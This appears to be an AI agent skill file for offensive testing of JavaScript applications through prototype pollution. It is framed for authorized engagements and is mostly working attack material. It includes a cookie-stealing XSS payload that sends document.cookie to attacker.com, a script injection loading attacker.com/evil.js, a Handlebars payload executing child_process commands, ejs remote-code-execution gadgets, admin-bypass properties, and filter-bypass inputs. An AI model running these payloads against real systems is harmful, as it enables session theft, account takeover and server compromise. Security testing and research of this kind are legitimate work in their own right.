---
name: rt-prototype-pollution
description: "Prototype pollution attack skill for authorized engagements. Client-side prototype pollution to DOM XSS and cookie theft, server-side prototype pollution in Node.js to RCE, gadget chains for PP escalation, AST injection via prototype pollution, property injection in lodash/merge functions, and automated detection with PPScan. Use when testing JavaScript applications (both browser-side and Node.js server-side)."
---

# rt-prototype-pollution — Prototype Pollution

## Overview

JavaScript's prototype chain allows every object to inherit properties from its prototype. Prototype pollution injects properties into `Object.prototype` — affecting ALL objects in the application. Client-side: leads to DOM XSS. Server-side: leads to RCE, authentication bypass, and privilege escalation.

---

## Phase 1 — Detection

```javascript
// Client-side detection in browser console
// Inject test property into Object.prototype
?__proto__[testprop]=testvalue
// Or in JSON body: {"__proto__": {"testprop": "testvalue"}}

// Check if it worked
window.testprop  // Should be "testvalue" if polluted
({}).testprop    // Any empty object should have it

// Server-side detection
// Send request with __proto__ in JSON
fetch('/api/user/update', {
    method: 'POST',
    body: JSON.stringify({"__proto__": {"polluted": true}})
})
// If server responds differently → server-side PP

// Automated: PPScan
npm install -g ppscan
ppscan --url https://target.com
```

---

## Phase 2 — Client-Side PP to DOM XSS

```bash
# Inject via URL query parameter
https://target.com/?__proto__[innerHTML]=<img src=x onerror=alert(1)>
https://target.com/?__proto__[src]=//attacker.com/evil.js

# Inject via JSON body parameter
{"username": "test", "__proto__": {"isAdmin": true}}
{"name": "x", "constructor": {"prototype": {"isAdmin": true}}}
{"name": "x", "__proto__.__proto__": {"isAdmin": true}}

# Common gadgets (properties that cause XSS when polluted)
__proto__[innerHTML]       → sets innerHTML of elements
__proto__[src]             → sets src of script/img elements
__proto__[href]            → sets href causing XSS
__proto__[transport_url]   → jQuery JSONP
__proto__[sequence]        → DOMPurify bypass
__proto__[NODE_NAME]       → specific framework gadgets

# PayloadsAllTheThings PP gadgets
# https://github.com/HoLyVieR/prototype-pollution-nsec18

# Exploit: steal cookies via polluted property
https://target.com/?__proto__[innerHTML]=<script>fetch('https://attacker.com?c='+document.cookie)</script>
```

---

## Phase 3 — Server-Side PP to RCE

```javascript
// Node.js server-side prototype pollution → RCE

// Lodash merge (CVE-2019-10744)
const _ = require('lodash');
_.merge({}, JSON.parse('{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}'));
// Pollutes process.mainModule.require or shell property

// express-fileupload PP (CVE-2020-7699)
// POST with file upload + __proto__ in field name → pollutes globally

// Handlebars template injection via PP (CVE-2019-19919)
// Pollute __proto__.pendingContent → template execution
const payload = '{"__proto__": {"pendingContent": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return require(\'child_process\').execSync(\'id\').toString()\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}}';

// Detect via spawn/exec pollution
// If shell property polluted → child_process.exec uses it
const {exec} = require('child_process');
exec('id');  // If __proto__.shell='node' → executes node instead
```

---

## Phase 4 — Escalation via Gadgets

```javascript
// Property injection gadgets for various frameworks

// Express.js
__proto__[admin] = true          // Bypass auth checks: if(req.user.admin)
__proto__[authorized] = true
__proto__[role] = "admin"

// ejs template RCE gadget
__proto__[outputFunctionName] = "x; process.mainModule.require('child_process').execSync('id'); //"

// Pug template
__proto__[compileDebug] = 1
__proto__[self] = 1

// Finding gadgets manually
// Search codebase for dangerous property accesses that could be polluted:
grep -r "opts\.\|options\.\|config\." src/ | grep -v "==" | grep -v "!=="
# Properties read from objects without hasOwnProperty check = potential gadgets
```

---

## Phase 5 — Fix Bypass Techniques

```javascript
// App uses Object.create(null) to avoid PP? Try:
{"constructor": {"prototype": {"polluted": true}}}

// App filters __proto__? Use:
{"constructor": {"prototype": {"polluted": true}}}
// or URL encoded: %5F%5Fproto%5F%5F

// Deep merge bypass
{"a": {"__proto__": {"polluted": true}}}
// Some merge functions recurse → pollutes at depth
```

---

## Skill Levels

**BEGINNER:** DOM XSS via URL-based PP · isAdmin bypass via polluted property

**INTERMEDIATE:** PP gadget research in target's framework · Server-side PP detection

**ADVANCED:** ejs/Pug RCE via PP gadgets · Lodash merge exploitation · PP chain to full server compromise

**EXPERT:** Custom gadget discovery · PP + deserialization chains · 0-day PP in popular frameworks

---

## References

- PortSwigger PP: https://portswigger.net/web-security/prototype-pollution
- PP gadgets research: https://github.com/BlackFan/client-side-prototype-pollution
- Server-side PP: https://portswigger.net/research/server-side-prototype-pollution
- MITRE T1059.007: https://attack.mitre.org/techniques/T1059/007/
